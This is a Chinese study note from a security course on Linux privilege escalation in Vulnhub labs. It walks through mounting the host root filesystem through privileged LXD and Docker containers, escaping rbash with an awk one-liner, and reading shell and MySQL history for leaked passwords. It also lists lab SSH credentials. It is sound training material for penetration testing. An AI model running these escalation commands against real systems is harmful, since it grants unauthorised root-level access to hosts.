小迪安全v2023学习笔记(一百四十二讲)—— Linux系统权限提升篇VulnhubRbash绕过DockerLXD镜像History泄露
文章目录
- 权限提升——第一百四十二天
- Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄露
- 前置知识
- 什么是LXC、LXD、Rbash?
- LXD与Docker的区别?
- Linux系统提权 - 普通用户-LXD容器
- Linux系统提权 - 普通用户-Docker容器
- Linux系统提权 - 普通用户-Rbash绕过
权限提升——第一百四十二天
Linux系统权限提升篇&Vulnhub&Rbash绕过&Docker&LXD镜像&History泄露
前置知识
-
本节课我们所处的位置为:
-
继续回顾一下Linux的提权手段有:
- 内核溢出漏洞提权
- suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
- 数据库类型提权
-
那么本节课主要是关于LXD、Docker以及Rbash提权
什么是LXC、LXD、Rbash?
- LXC 是 Linux 内核容器技术的用户空间工具,属于 操作系统级虚拟化。它允许在单一 Linux 主机上运行多个隔离的 Linux 系统(容器),共享同一内核。
- LXD 是 LXC 的 下一代管理工具,基于 LXC 的底层技术,但提供更高级的 API 和命令行工具(
lxc命令)。它通过守护进程(daemon)管理容器,支持快照、实时迁移、资源限制等。 - rbash 是 受限的 Bash shell,通过限制用户行为增强安全性。它是 Bash 的符号链接(
rbash -> bash),但启动时会施加限制,导致某些命令会无法使用。
LXD与Docker的区别?
- 其实一句话说清楚就是,LXD类似于启动一个新的虚拟机容器,而Docker类似于启动了一个新的进程/应用。
Linux系统提权 - 普通用户-LXD容器
- 环境复现:https://www.vulnhub.com/entry/ai-web-2,357/
- 提权条件:
- 已经获得普通用户Shell
- 用户属于lxd组
- 我们直接来到入口点,直接通过拿到的账号密码SSH登录目标主机:
账号:n0nr00tuser
密码:zxowieoi4sdsadpEClDws1sf

- 可以看到这里当前用户在lxd组中,所以拥有创建容器的权限,当然这里也可以用工具去扫
- 我们在网上随便下载一个体积比较小的容器,然后放到目标主机上,并且通过lxc命令去创建该容器:
- 下载地址:https://github.com/saghul/lxd-alpine-builder
# 导入这个镜像命名为test容器
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test
# 初始化这个镜像
lxc init test test -c security.privileged=true

- 这里创建成功之后,使用如下命令将根目录挂载到容器的/mnt/root目录下:
lxc config device add test test disk source=/ path=/mnt/root recursive=true
-
在此之前,我们可以先看看此时能否访问根目录下的root目录:

-
可以看到被拒绝,然后我们使用上述命令之后:
lxc config device add test test disk source=/ path=/mnt/root recursive=true
- 接着尝试启动容器,并进入该容器尝试访问/root目录:
# 启动test容器
lxc start test
# 获取这个test容器shell
lxc exec test /bin/sh
# 进入之前受限的root目录
cd /mnt/root/root

- 那么这也相当于一种提权方式,能够访问到之前访问不到的宿主机目录
Linux系统提权 - 普通用户-Docker容器
- 环境复现:https://www.vulnhub.com/entry/chill-hack-1,622/
- 参考文章:VulnHub-Chill-Hack 1 靶场渗透测试 - FreeBuf网络安全行业门户
- 提权条件:
- 已经获得普通用户Shell
- 用户属于docker组
- 还是直接来到入口点,通过如下账号密码SSH登录拿到权限:
账号:anurodh
密码:!d0ntKn0wmYp@ssw0rd

- 用户在docker组里面,说明我们拥有自建容器的权限,于是尝试构建容器,并挂载根目录:
# docker拉取镜像,将根目录挂载到/mnt目录下
docker run -v /:/mnt -it alpine
# 切换到容器/mnt/root下
cd /mnt/root

- 这里能够成功访问宿主机根目录下的文件,和LXD类似,也达到了一种提权的效果
Linux系统提权 - 普通用户-Rbash绕过
- 环境复现:https://www.vulnhub.com/entry/funbox-rookie,520/
- 这里主要是讲关于遇到Rbash如何绕过的问题,Rbash是一种限制型的bash,它会禁止用户执行某些操作
- 来到入口点,我们通过信息收集发现目标开放21端口,尝试ftp匿名登录:
ftp <IP>
ls
get tom.zip

- 获取压缩包,密码为
iubire,解压缩发现id_rsa文件,这是SSH登录密钥,于是尝试登录拿到Shell:
ssh tom@<IP> -i id_rsa

-
比如运行我们上传的脚本文件,他就会提示报错,并且显示rbash的字段:

-
参考文章:rbash逃逸大全-先知社区
-
这里我们就用最简单的方式去绕过它:
awk 'BEGIN {system("/bin/bash")}'

- 再去执行这个文件,就能够成功运行了,之后再去尝试一些提权操作,这里我们可以翻看history找到root用户账号密码,然后通过它进行提权
# 查看执行的历史命令,里面有可能会泄露一些敏感信息
history
# 查看mysql的历史命令
cat /home/tom/.mysql_history


